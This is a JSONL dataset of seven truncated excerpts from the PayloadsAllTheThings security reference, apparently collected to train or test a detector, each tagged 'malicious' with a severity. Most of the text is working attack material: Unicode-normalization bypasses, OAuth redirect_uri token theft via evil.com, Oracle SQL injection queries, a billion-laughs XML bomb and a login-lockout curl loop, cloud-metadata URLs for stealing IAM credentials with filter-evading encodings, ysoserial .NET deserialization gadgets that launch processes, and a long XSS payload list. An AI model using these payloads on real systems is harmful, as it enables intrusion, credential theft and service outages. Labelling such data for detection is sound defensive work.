{"id": "payloads_00124", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Encoding and Transformations\n\n> Encoding and Transformations are techniques that change how data is represented or transferred without altering its core meaning. Common examples include URL encoding, Base64, HTML entity encoding, and Unicode transformations. Attackers use these methods as gadgets to bypass input filters, evade web application firewalls, or break out of sanitization routines.\n\n## Summary\n\n* [Unicode](#unicode)\n    * [Unicode Normalization](#unicode-normalization)\n    * [Punycode](#punycode)\n* [Base64](#base64)\n* [Labs](#labs)\n* [References](#references)\n\n## Unicode\n\nUnicode is a universal character encoding standard used to represent text from virtually every writing system in the world. Each character (letters, numbers, symbols, emojis) is assigned a unique code point (for example, U+0041 for \"A\"). Unicode encoding formats like UTF-8 and UTF-16 specify how these code points are stored as bytes.\n\n### Unicode Normalization\n\nUnicode normalization is the process of converting Unicode text into a standardized, consistent form so that equivalent characters are represented the same way in memory.\n\n[Unicode Normalization reference table](https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html)\n\n* **NFC** (Normalization Form Canonical Composition): Combines decomposed sequences into precomposed characters where possible.\n* **NFD** (Normalization Form Canonical Decomposition): Breaks characters into their decomposed forms (base + combining marks).\n* **NFKC** (Normalization Form Compatibility Composition): Like NFC, but also replaces characters with compatibility equivalents (may change appearance/format).\n* **NFKD** (Normalization Form Compatibility Decomposition): Like NFD, but also decomposes compatibility characters.\n\n| Character    | Payload               | After Normalization   |\n| ------------ | --------------------- | --------------------- |\n| `\u2025` (U+2025) | `\u2025/\u2025/\u2025/etc/passwd` | `../../../etc/passwd` |\n| `\ufe30` (U+FE30) | `\ufe30/\ufe30/\ufe30/etc/passwd` | `../../../etc/passwd` |\n| `\uff07` (U+FF07) | `\uff07 or \uff071\uff07=\uff071` | `' or '1'='1` |\n| `\uff02` (U+FF02) | `\uff02 or \uff021\uff02=\uff021` | `\" or \"1\"=\"1` |\n| `\ufe63` (U+FE63) | `admin'\ufe63\ufe63` | `admin'--` |\n| `\u3002` (U+3002) | `domain\u3002com` | `domain.com` |\n| `\uff0f` (U+FF0F) | `\uff0f\uff0fdomain.com` | `//domain.com` |\n| `\uff1c` (U+FF1C) | `\uff1cimg src=a\uff1e` | `<img src=a/>` |\n| `\ufe5b` (U+FE5B) | `\ufe5b\ufe5b3+3\ufe5c\ufe5c` | `{{3+3}}` |\n| `\uff3b` (U+FF3B) | `\uff3b\uff3b5+5\uff3d\uff3d` | `[[5+5]]` |\n| `\uff06` (U+FF06) | `\uff06\uff06whoami` | `&&whoami` |\n| `\uff50` (U+FF50) | `shell.\uff50\u02b0\uff50` | `shell.php` |\n| `\u02b0` (U+02B0) | `shell.\uff50\u02b0\uff50` | `shell.php` |\n| `\u00aa` (U+00AA) | `\u00aadmin` | `admin` |\n\n```py\nimport unicodedata\nstring = \"\u1d3e\u1d43\u02b8\u02e1\u1d52\u1d43\u1d48\u02e2\ud835\udcd0\ud835\udcf5\ud835\udcf5\ud835\udd4b\ud835\udd59\ud835\udd56\ud835\udcaf\ud835\udcbd\ud835\udcbe\ud835\udcc3\u210a\ud835\udcc8\"\nprint ('NFC: ' + unicodedata.normalize('NFC', string))\nprint ('NFD: ' + unicodedata.normalize('NFD', string))\nprint ('NFKC: ' + unicodedata.normalize('NFKC', string))\nprint ('NFKD: ' + unicodedata.normalize('NFKD', string))\n```\n\n### Punycode\n\nPunycode is a way to represent Unicode characters (including non-ASCII letters, symbols, and scripts) using only the limited set of ASCII characters (letters, digits, and hyphens).\n\nIt's mainly used in the Domain Name System (DNS), which traditionally supports only ASCII. Punycode allows internationalized domain names (IDNs), so that domain names can include characters from many languages by converting them into a safe ASCII form.\n\n| Visible in Browser (IDN support) | Actual ASCII (Punycode) |\n| -------------------------------- | ----------------------- |\n| \u0440\u0430ypal.com                       | xn--ypal-43d9g.com      |\n| paypal.com                       | paypal.com              |\n\nIn MySQL, similar character are treated as equal. This behavior can be abused in Password Reset, Forgot Password, and OAuth Provider sections.\n\n```sql\nSELECT 'a' = '\u1d43';\n+-------------+\n| 'a' = '\u1d43'   |\n+-------------+\n|           1 |\n+-------------+\n```\n\nThis trick works the SQL query uses `COLLATE utf8mb4_0900_as_cs`.\n\n```sql\nSELECT 'a' = '\u1d43' COLLATE utf8mb4_0900_as_cs;\n+----------------------------------------+\n| 'a' = '\u1d43' COLLATE utf8m", "findings": [{"category": "malicious", "subcategory": "malicious.obfuscation", "severity": "medium", "explanation": "Encoding-based obfuscation payload from Encoding Transformations/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00125", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# OAuth Misconfiguration\n\n> OAuth is a widely-used authorization framework that allows third-party applications to access user data without exposing user credentials. However, improper configuration and implementation of OAuth can lead to severe security vulnerabilities. This document explores common OAuth misconfigurations, potential attack vectors, and best practices for mitigating these risks.\n\n## Summary\n\n- [Stealing OAuth Token via referer](#stealing-oauth-token-via-referer)\n- [Grabbing OAuth Token via redirect_uri](#grabbing-oauth-token-via-redirect_uri)\n- [Executing XSS via redirect_uri](#executing-xss-via-redirect_uri)\n- [OAuth Private Key Disclosure](#oauth-private-key-disclosure)\n- [Authorization Code Rule Violation](#authorization-code-rule-violation)\n- [Cross-Site Request Forgery](#cross-site-request-forgery)\n- [Labs](#labs)\n- [References](#references)\n\n## Stealing OAuth Token via referer\n\n> Do you have HTML injection but can't get XSS? Are there any OAuth implementations on the site? If so, setup an img tag to your server and see if there's a way to get the victim there (redirect, etc.) after login to steal OAuth tokens via referer - [@abugzlife1](https://twitter.com/abugzlife1/status/1125663944272748544)\n\n## Grabbing OAuth Token via redirect_uri\n\nRedirect to a controlled domain to get the access token\n\n```powershell\nhttps://www.example.com/signin/authorize?[...]&redirect_uri=https://demo.example.com/loginsuccessful\nhttps://www.example.com/signin/authorize?[...]&redirect_uri=https://localhost.evil.com\n```\n\nRedirect to an accepted Open URL in to get the access token\n\n```powershell\nhttps://www.example.com/oauth20_authorize.srf?[...]&redirect_uri=https://accounts.google.com/BackToAuthSubTarget?next=https://evil.com\nhttps://www.example.com/oauth2/authorize?[...]&redirect_uri=https%3A%2F%2Fapps.facebook.com%2Fattacker%2F\n```\n\nOAuth implementations should never whitelist entire domains, only a few URLs so that \u201credirect_uri\u201d can\u2019t be pointed to an Open Redirect.\n\nSometimes you need to change the scope to an invalid one to bypass a filter on redirect_uri:\n\n```powershell\nhttps://www.example.com/admin/oauth/authorize?[...]&scope=a&redirect_uri=https://evil.com\n```\n\n## Executing XSS via redirect_uri\n\n```powershell\nhttps://example.com/oauth/v1/authorize?[...]&redirect_uri=data%3Atext%2Fhtml%2Ca&state=<script>alert('XSS')</script>\n```\n\n## OAuth Private Key Disclosure\n\nSome Android/iOS app can be decompiled and the OAuth Private key can be accessed.\n\n## Authorization Code Rule Violation\n\n> The client MUST NOT use the authorization code  more than once.  \n\nIf an authorization code is used more than once, the authorization server MUST deny the request\nand SHOULD revoke (when possible) all tokens previously issued based on that authorization code.\n\n## Cross-Site Request Forgery\n\nApplications that do not check for a valid CSRF token in the OAuth callback are vulnerable. This can be exploited by initializing the OAuth flow and intercepting the callback (`https://example.com/callback?code=AUTHORIZATION_CODE`). This URL can be used in CSRF attacks.\n\n> The client MUST implement CSRF protection for its redirection URI. This is typically accomplished by requiring any request sent to the redirection URI endpoint to include a value that binds the request to the user-agent's authenticated state. The client SHOULD utilize the \"state\" request parameter to deliver this value to the authorization server when making an authorization request.\n\n## Labs\n\n- [PortSwigger - Authentication bypass via OAuth implicit flow](https://portswigger.net/web-security/oauth/lab-oauth-authentication-bypass-via-oauth-implicit-flow)\n- [PortSwigger - Forced OAuth profile linking](https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking)\n- [PortSwigger - OAuth account hijacking via redirect_uri](https://portswigger.net/web-security/oauth/lab-oauth-account-hijacking-via-redirect-uri)\n- [PortSwigger - Stealing OAuth access tokens via a proxy pa", "findings": [{"category": "malicious", "subcategory": "malicious.obfuscation", "severity": "high", "explanation": "OAuth misconfiguration payload from OAuth Misconfiguration/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00126", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Oracle SQL Injection\n\n> Oracle SQL Injection  is a type of security vulnerability that arises when attackers can insert or \"inject\" malicious SQL code into SQL queries executed by Oracle Database. This can occur when user inputs are not properly sanitized or parameterized, allowing attackers to manipulate the query logic. This can lead to unauthorized access, data manipulation, and other severe security implications.\n\n## Summary\n\n* [Oracle SQL Default Databases](#oracle-sql-default-databases)\n* [Oracle SQL Comments](#oracle-sql-comments)\n* [Oracle SQL Enumeration](#oracle-sql-enumeration)\n* [Oracle SQL Database Credentials](#oracle-sql-database-credentials)\n* [Oracle SQL Methodology](#oracle-sql-methodology)\n    * [Oracle SQL List Databases](#oracle-sql-list-databases)\n    * [Oracle SQL List Tables](#oracle-sql-list-tables)\n    * [Oracle SQL List Columns](#oracle-sql-list-columns)\n* [Oracle SQL Error Based](#oracle-sql-error-based)\n* [Oracle SQL Blind](#oracle-sql-blind)\n    * [Oracle Blind With Substring Equivalent](#oracle-blind-with-substring-equivalent)\n* [Oracle SQL Time Based](#oracle-sql-time-based)\n* [Oracle SQL Out of Band](#oracle-sql-out-of-band)\n* [Oracle SQL Command Execution](#oracle-sql-command-execution)\n    * [Oracle Java Execution](#oracle-java-execution)\n    * [Oracle Java Class](#oracle-java-class)\n* [OracleSQL File Manipulation](#oraclesql-file-manipulation)\n    * [OracleSQL Read File](#oraclesql-read-file)\n    * [OracleSQL Write File](#oraclesql-write-file)\n    * [Package os_command](#package-os_command)\n    * [DBMS_SCHEDULER Jobs](#dbms_scheduler-jobs)\n* [References](#references)\n\n## Oracle SQL Default Databases\n\n| Name               | Description               |\n|--------------------|---------------------------|\n| SYSTEM             | Available in all versions |\n| SYSAUX             | Available in all versions |\n\n## Oracle SQL Comments\n\n| Type                | Comment |\n| ------------------- | ------- |\n| Single-Line Comment | `--`    |\n| Multi-Line Comment  | `/**/`  |\n\n## Oracle SQL Enumeration\n\n| Description   | SQL Query |\n| ------------- | ------------------------------------------------------------ |\n| DBMS version  | `SELECT user FROM dual UNION SELECT * FROM v$version`        |\n| DBMS version  | `SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';`  |\n| DBMS version  | `SELECT banner FROM v$version WHERE banner LIKE 'TNS%';`     |\n| DBMS version  | `SELECT BANNER FROM gv$version WHERE ROWNUM = 1;`            |\n| DBMS version  | `SELECT version FROM v$instance;`                            |\n| Hostname      | `SELECT UTL_INADDR.get_host_name FROM dual;`                 |\n| Hostname      | `SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual;`     |\n| Hostname      | `SELECT UTL_INADDR.get_host_address FROM dual;`              |\n| Hostname      | `SELECT host_name FROM v$instance;`                          |\n| Database name | `SELECT global_name FROM global_name;`                       |\n| Database name | `SELECT name FROM V$DATABASE;`                               |\n| Database name | `SELECT instance_name FROM V$INSTANCE;`                      |\n| Database name | `SELECT SYS.DATABASE_NAME FROM DUAL;`                        |\n| Database name | `SELECT sys_context('USERENV', 'CURRENT_SCHEMA') FROM dual;` |\n\n## Oracle SQL Database Credentials\n\n| Query                                   | Description               |\n|-----------------------------------------|---------------------------|\n| `SELECT username FROM all_users;`       | Available on all versions |\n| `SELECT name, password from sys.user$;` | Privileged, <= 10g        |\n| `SELECT name, spare4 from sys.user$;`   | Privileged, <= 11g        |\n\n## Oracle SQL Methodology\n\n### Oracle SQL List Databases\n\n```sql\nSELECT DISTINCT owner FROM all_tables;\nSELECT OWNER FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)\n```\n\n### Oracle SQL List Tables\n\n```sql\nSELECT table_name FROM all_tables;\nSELECT owner, table_name FROM all_tables;\nSELECT owner, ", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "SQL injection payload from SQL Injection/OracleSQL Injection.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00127", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Denial of Service\n\n> A Denial of Service (DoS) attack aims to make a service unavailable by overwhelming it with a flood of illegitimate requests or exploiting vulnerabilities in the target's software to crash or degrade performance. In a Distributed Denial of Service (DDoS), attackers use multiple sources (often compromised machines) to perform the attack simultaneously.\n\n## Summary\n\n* [Methodology](#methodology)\n    * [Locking Customer Accounts](#locking-customer-accounts)\n    * [File Limits on FileSystem](#file-limits-on-filesystem)\n    * [Memory Exhaustion - Technology Related](#memory-exhaustion---technology-related)\n* [References](#references)\n\n## Methodology\n\nHere are some examples of Denial of Service (DoS) attacks. These examples should serve as a reference for understanding the concept, but any DoS testing should be conducted cautiously, as it can disrupt the target environment and potentially result in loss of access or exposure of sensitive data.\n\n### Locking Customer Accounts\n\nExample of Denial of Service that can occur when testing customer accounts.\nBe very careful as this is most likely **out-of-scope** and can have a high impact on the business.\n\n* Multiple attempts on the login page when the account is temporary/indefinitely banned after X bad attempts.\n\n    ```ps1\n    for i in {1..100}; do curl -X POST -d \"username=user&password=wrong\" <target_login_url>; done\n    ```\n\n### File Limits on FileSystem\n\nWhen a process is writing a file on the server, try to reach the maximum number of files allowed by the filesystem format. The system should output a message: `No space left on device` when the limit is reached.\n\n| Filesystem | Maximum Inodes |\n| ---        | --- |\n| BTRFS      | 2^64 (~18 quintillion) |\n| EXT4       | ~4 billion |\n| FAT32      | ~268 million files |\n| NTFS       | ~4.2 billion (MFT entries) |\n| XFS        | Dynamic (disk size) |\n| ZFS        | ~281 trillion |\n\nAn alternative of this technique would be to fill a file used by the application until it reaches the maximum size allowed by the filesystem, for example it can occur on a SQLite database or a log file.\n\nFAT32 has a significant limitation of **4 GB**, which is why it's often replaced with exFAT or NTFS for larger files.\n\nModern filesystems like BTRFS, ZFS, and XFS support exabyte-scale files, well beyond current storage capacities, making them future-proof for large datasets.\n\n### Memory Exhaustion - Technology Related\n\nDepending on the technology used by the website, an attacker may have the ability to trigger specific functions or paradigm that will consume a huge chunk of memory.\n\n* **XML External Entity**: Billion laughs attack/XML bomb\n\n    ```xml\n    <?xml version=\"1.0\"?>\n    <!DOCTYPE lolz [\n    <!ENTITY lol \"lol\">\n    <!ELEMENT lolz (#PCDATA)>\n    <!ENTITY lol1 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n    <!ENTITY lol2 \"&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;\">\n    <!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n    <!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n    <!ENTITY lol5 \"&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;\">\n    <!ENTITY lol6 \"&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;\">\n    <!ENTITY lol7 \"&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;\">\n    <!ENTITY lol8 \"&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;\">\n    <!ENTITY lol9 \"&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;\">\n    ]>\n    <lolz>&lol9;</lolz>\n    ```\n\n* **GraphQL**: Deeply-nested GraphQL queries.\n\n    ```ps1\n    query { \n        repository(owner:\"rails\", name:\"rails\") {\n            assignableUsers (first: 100) {\n                nodes {\n                    repositories (first: 100) {\n                        nodes {\n                            \n                        }\n                    }\n                }\n            }\n        }\n    }\n    ```\n\n* **Image Resizing**: try to send inval", "findings": [{"category": "malicious", "subcategory": "malicious.redos", "severity": "high", "explanation": "Denial of service payloads payload from Denial of Service/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00128", "source": "payloads_all_the_things", "source_license": "MIT", "text": "\n# SSRF URL for Cloud Instances\n\n> When exploiting Server-Side Request Forgery (SSRF) in cloud environments, attackers often target metadata endpoints to retrieve sensitive instance information (e.g., credentials, configurations). Below is a categorized list of common URLs for various cloud and infrastructure providers\n\n## Summary\n\n* [SSRF URL for AWS Bucket](#ssrf-url-for-aws)\n* [SSRF URL for AWS ECS](#ssrf-url-for-aws-ecs)\n* [SSRF URL for AWS Elastic Beanstalk](#ssrf-url-for-aws-elastic-beanstalk)\n* [SSRF URL for AWS Lambda](#ssrf-url-for-aws-lambda)\n* [SSRF URL for Google Cloud](#ssrf-url-for-google-cloud)\n* [SSRF URL for Digital Ocean](#ssrf-url-for-digital-ocean)\n* [SSRF URL for Packetcloud](#ssrf-url-for-packetcloud)\n* [SSRF URL for Azure](#ssrf-url-for-azure)\n* [SSRF URL for OpenStack/RackSpace](#ssrf-url-for-openstackrackspace)\n* [SSRF URL for HP Helion](#ssrf-url-for-hp-helion)\n* [SSRF URL for Oracle Cloud](#ssrf-url-for-oracle-cloud)\n* [SSRF URL for Kubernetes ETCD](#ssrf-url-for-kubernetes-etcd)\n* [SSRF URL for Alibaba](#ssrf-url-for-alibaba)\n* [SSRF URL for Hetzner Cloud](#ssrf-url-for-hetzner-cloud)\n* [SSRF URL for Docker](#ssrf-url-for-docker)\n* [SSRF URL for Rancher](#ssrf-url-for-rancher)\n* [References](#references)\n\n## SSRF URL for AWS\n\nThe AWS Instance Metadata Service is a service available within Amazon EC2 instances that allows those instances to access metadata about themselves. - [Docs](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories)\n\n* IPv4 endpoint (old): `http://169.254.169.254/latest/meta-data/`\n* IPv4 endpoint (new) requires the header `X-aws-ec2-metadata-token`\n\n  ```powershell\n  export TOKEN=`curl -X PUT -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\" \"http://169.254.169.254/latest/api/token\"`\n  curl -H \"X-aws-ec2-metadata-token:$TOKEN\" -v \"http://169.254.169.254/latest/meta-data\"\n  ```\n\n* IPv6 endpoint: `http://[fd00:ec2::254]/latest/meta-data/`\n\nIn case of a WAF, you might want to try different ways to connect to the API.\n\n* DNS record pointing to the AWS API IP\n\n  ```powershell\n  http://instance-data\n  http://169.254.169.254\n  http://169.254.169.254.nip.io/\n  ```\n\n* HTTP redirect\n\n  ```powershell\n  Static:http://nicob.net/redir6a\n  Dynamic:http://nicob.net/redir-http-169.254.169.254:80-\n  ```\n\n* Encoding the IP to bypass WAF\n\n  ```powershell\n  http://425.510.425.510 Dotted decimal with overflow\n  http://2852039166 Dotless decimal\n  http://7147006462 Dotless decimal with overflow\n  http://0xA9.0xFE.0xA9.0xFE Dotted hexadecimal\n  http://0xA9FEA9FE Dotless hexadecimal\n  http://0x41414141A9FEA9FE Dotless hexadecimal with overflow\n  http://0251.0376.0251.0376 Dotted octal\n  http://0251.00376.000251.0000376 Dotted octal with padding\n  http://0251.254.169.254 Mixed encoding (dotted octal + dotted decimal)\n  http://[::ffff:a9fe:a9fe] IPV6 Compressed\n  http://[0:0:0:0:0:ffff:a9fe:a9fe] IPV6 Expanded\n  http://[0:0:0:0:0:ffff:169.254.169.254] IPV6/IPV4\n  http://[fd00:ec2::254] IPV6\n  ```\n\nThese URLs return a list of IAM roles associated with the instance. You can then append the role name to this URL to retrieve the security credentials for the role.\n\n```powershell\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]\n```\n\nThis URL is used to access the user data that was specified when launching the instance. User data is often used to pass startup scripts or other configuration information into the instance.\n\n```powershell\nhttp://169.254.169.254/latest/user-data\n```\n\nOther URLs to query to access various pieces of metadata about the instance, like the hostname, public IPv4 address, and other properties.\n\n```powershell\nhttp://169.254.169.254/latest/meta-data/\nhttp://169.254.169.254/latest/meta-data/ami-id\nhttp://169.254.169.254/latest/meta-data/reservation-id\nhttp://169.254.169.254/latest/meta-data/hostname\nhttp://169.254.169.254/latest/meta-data/public-keys", "findings": [{"category": "malicious", "subcategory": "malicious.ssrf", "severity": "high", "explanation": "Server-side request forgery payload from Server Side Request Forgery/SSRF-Cloud-Instances.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00129", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# .NET Deserialization\n\n> .NET serialization is the process of converting an object\u2019s state into a format that can be easily stored or transmitted, such as XML, JSON, or binary. This serialized data can then be saved to a file, sent over a network, or stored in a database. Later, it can be deserialized to reconstruct the original object with its data intact. Serialization is widely used in .NET for tasks like caching, data transfer between applications, and session state management.\n\n## Summary\n\n* [Detection](#detection)\n* [Tools](#tools)\n* [Formatters](#formatters)\n    * [XmlSerializer](#xmlserializer)\n    * [DataContractSerializer](#datacontractserializer)\n    * [NetDataContractSerializer](#netdatacontractserializer)\n    * [LosFormatter](#losformatter)\n    * [JSON.NET](#jsonnet)\n    * [BinaryFormatter](#binaryformatter)\n* [POP Gadgets](#pop-gadgets)\n* [References](#references)\n\n## Detection\n\n| Data           | Description         |\n| -------------- | ------------------- |\n| `AAEAAD` (Hex) | .NET BinaryFormatter |\n| `FF01` (Hex)   | .NET ViewState |\n| `/w` (Base64)   | .NET ViewState |\n\nExample: `AAEAAAD/////AQAAAAAAAAAMAgAAAF9TeXN0ZW0u[...]0KPC9PYmpzPgs=`\n\n## Tools\n\n* [pwntester/ysoserial.net](https://github.com/pwntester/ysoserial.net) - Deserialization payload generator for a variety of .NET formatters\n\n    ```ps1\n    cat my_long_cmd.txt | ysoserial.exe -o raw -g WindowsIdentity -f Json.Net -s\n    ./ysoserial.exe -p DotNetNuke -m read_file -f win.ini\n    ./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c \"calc\" -t\n    ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c \"calc\" -t\n    ```\n\n* [irsdl/ysonet](https://github.com/irsdl/ysonet) - Deserialization payload generator for a variety of .NET formatters\n\n    ```ps1\n    cat my_long_cmd.txt | ysonet.exe -o raw -g WindowsIdentity -f Json.Net -s\n    ./ysonet.exe -p DotNetNuke -m read_file -f win.ini\n    ./ysonet.exe -f Json.Net -g ObjectDataProvider -o raw -c \"calc\" -t\n    ./ysonet.exe -f BinaryFormatter -g PSObject -o base64 -c \"calc\" -t\n    ```\n\n## Formatters\n\n![NETNativeFormatters.png](https://github.com/swisskyrepo/PayloadsAllTheThings/raw/master/Insecure%20Deserialization/Images/NETNativeFormatters.png?raw=true)\n.NET Native Formatters from [pwntester/attacking-net-serialization](https://speakerdeck.com/pwntester/attacking-net-serialization?slide=15)\n\n### XmlSerializer\n\n* In C# source code, look for `XmlSerializer(typeof(<TYPE>));`.\n* The attacker must control the **type** of the XmlSerializer.\n* Payload output: **XML**\n\n```xml\n.\\ysoserial.exe -g ObjectDataProvider -f XmlSerializer -c \"calc.exe\"\n<?xml version=\"1.0\"?>\n<root type=\"System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" >\n        <ExpandedElement/>\n        <ProjectedProperty0>\n            <MethodName>Parse</MethodName>\n            <MethodParameters>\n                <anyType xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xsi:type=\"xsd:string\">\n                    <![CDATA[<ResourceDictionary xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" xmlns:d=\"http://schemas.microsoft.com/winfx/2006/xaml\" xmlns:b=\"clr-namespace:System;assembly=mscorlib\" xmlns:c=\"clr-namespace:System.Diagnostics;assembly=system\"><ObjectDataProvider d:Key=\"\" ObjectType=\"{d:Type c:Process}\" MethodName=\"Start\"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc.exe</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDiction", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "Insecure deserialization payload from Insecure Deserialization/DotNET.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00130", "source": "payloads_all_the_things", "source_license": "MIT", "text": "<script>alert('XSS')</script>\n<scr<script>ipt>alert('XSS')</scr<script>ipt>\n\"><script>alert('XSS')</script>\n\"><script>alert(String.fromCharCode(88,83,83))</script>\n<img src=x onerror=alert('XSS');>\n<img src=x onerror=alert(String.fromCharCode(88,83,83));>\n<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>\n<img src=x:alert(alt) onerror=eval(src) alt=xss>\n\"><img src=x onerror=alert('XSS');>\n\"><img src=x onerror=alert(String.fromCharCode(88,83,83));>\n<svg\fonload=alert(1)>\n<svg/onload=alert('XSS')>\n<svg/onload=alert(String.fromCharCode(88,83,83))>\n<svg id=alert(1) onload=eval(id)>\n\"><svg/onload=alert(String.fromCharCode(88,83,83))>\n\"><svg/onload=alert(/XSS/)\n<body onload=alert(/XSS/.source)>\n<input autofocus onfocus=alert(1)>\n<select autofocus onfocus=alert(1)>\n<textarea autofocus onfocus=alert(1)>\n<keygen autofocus onfocus=alert(1)>\n<video/poster/onerror=alert(1)>\n<video><source onerror=\"javascript:alert(1)\">\n<video src=_ onloadstart=\"alert(1)\">\n<details/open/ontoggle=\"alert`1`\">\n<audio src onloadstart=alert(1)>\n<marquee onstart=alert(1)>\n<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">\n<meta/content=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxMzM3KTwvc2NyaXB0Pg==\"http-equiv=refresh>\ndata:text/html,<script>alert(0)</script>\ndata:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+\njaVasCript:/*-/*`/*\\`/*'/*\"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\\x3csVg/<sVg/oNloAd=alert()//>\\x3e\n \">><marquee><img src=x onerror=confirm(1)></marquee>\" ></plaintext\\></|\\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->\" ></script><script>alert(1)</script>\"><img/id=\"confirm&lpar; 1)\"/alt=\"/\"src=\"/\"onerror=eval(id&%23x29;>'\"><img src=\"http: //i.imgur.com/P8mL8.jpg\">\n\" onclick=alert(1)//<button \u2018 onclick=alert(1)//> */ alert(1)//\n';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//\";alert(String.fromCharCode (88,83,83))//\";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>\njavascript://'/</title></style></textarea></script>--><p\" onclick=alert()//>*/alert()/*\njavascript://--></script></title></style>\"/</textarea>*/<alert()/*' onclick=alert()//>a\njavascript://</title>\"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/\njavascript://</title></style></textarea>--></script><a\"//' onclick=alert()//>*/alert()/*\njavascript://'//\" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*\njavascript://</title></textarea></style></script --><li '//\" '*/alert()/*', onclick=alert()//\njavascript:alert()//--></script></textarea></style></title><a\"//' onclick=alert()//>*/alert()/*\n--></script></title></style>\"/</textarea><a' onclick=alert()//>*/alert()/*\n/</title/'/</style/</script/</textarea/--><p\" onclick=alert()//>*/alert()/*\njavascript://--></title></style></textarea></script><svg \"//' onclick=alert()//\n/</title/'/</style/</script/--><p\" onclick=alert()//>*/alert()/*\n<object onafterscriptexecute=confirm(0)>\n<object onbeforescriptexecute=confirm(0)>\n<script>window['alert'](document['domain'])<script>\n<img src='1' onerror/=alert(0) />\n<script>window['alert'](0)</script>\n<script>parent['alert'](1)</script>\n<script>self['alert'](2)</script>\n<script>top['alert'](3)</script>\n\"><svg onload=alert(1)//\n\"onmouseover=alert(1)//\n\"autofocus/onfocus=alert(1)//\n'-alert(1)-'\n'-alert(1)//\n\\'-alert(1)//\n</script><svg onload=alert(1)>\n<x contenteditable onblur=alert(1)>lose focus!\n<x onclick=alert(1)>click this!\n<x oncopy=alert(1)>copy this!\n<x oncontextmenu=alert(1)>right click this!\n<x oncut=alert(1)>cut this!\n<x ondblclick=alert(1)>double click this!\n<x ondrag=alert(1)>drag this!\n<x contenteditable onfocus=alert(1)>focus this!\n<x contenteditable oninput=alert(1)>input here!\n<x contenteditable onkeydown=alert(1)>press any key!\n<x contenteditable onkeypress=alert(1)>press ", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "Cross-site scripting payload from XSS Injection/IntrudersXSS.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
